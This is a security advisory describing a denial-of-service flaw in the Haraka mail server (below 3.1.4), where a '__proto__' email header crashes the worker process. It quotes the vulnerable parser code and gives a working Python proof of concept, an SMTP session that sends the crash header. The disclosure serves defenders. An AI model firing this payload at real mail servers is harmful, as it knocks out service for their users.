High

Haraka affected by DoS via `proto` email header

Disclosed: 01.04.2026
Updated: 11.10.2026 10:22

Summary

Sending an email with __proto__: as a header name crashes the Haraka worker process.

Details

The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:

_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}

When key is __proto__:

this.headers['__proto__'] returns Object.prototype (the prototype getter)
Object.prototype is not null/undefined, so ??= is skipped
Object.prototype.push(value) throws TypeError: not a function

The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):

process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})

PoC

python

import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")

Impact

In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	Haraka	< 3.1.4	3.1.4

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-248
Platform: npm
Package: Haraka
Disclosed: 01.04.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xph3-r2jf-4vp3 - CC BY 4.0

Vulnerability history: Haraka

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 02.2019 04.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1

Disclosures per year

2019: 1
2020: 0
2021: 0
2022: 0
2023: 0
2024: 0
2025: 0
2026: 1

01.04.2026

Haraka affected by DoS via `__proto__` email header this entry

High · 7.5 CVE-2026-34752 < 3.1.4 3.1.4
12.02.2019

Critical severity vulnerability that affects Haraka

Critical · 9.8 CVE-2016-1000282 < 2.8.9 2.8.9

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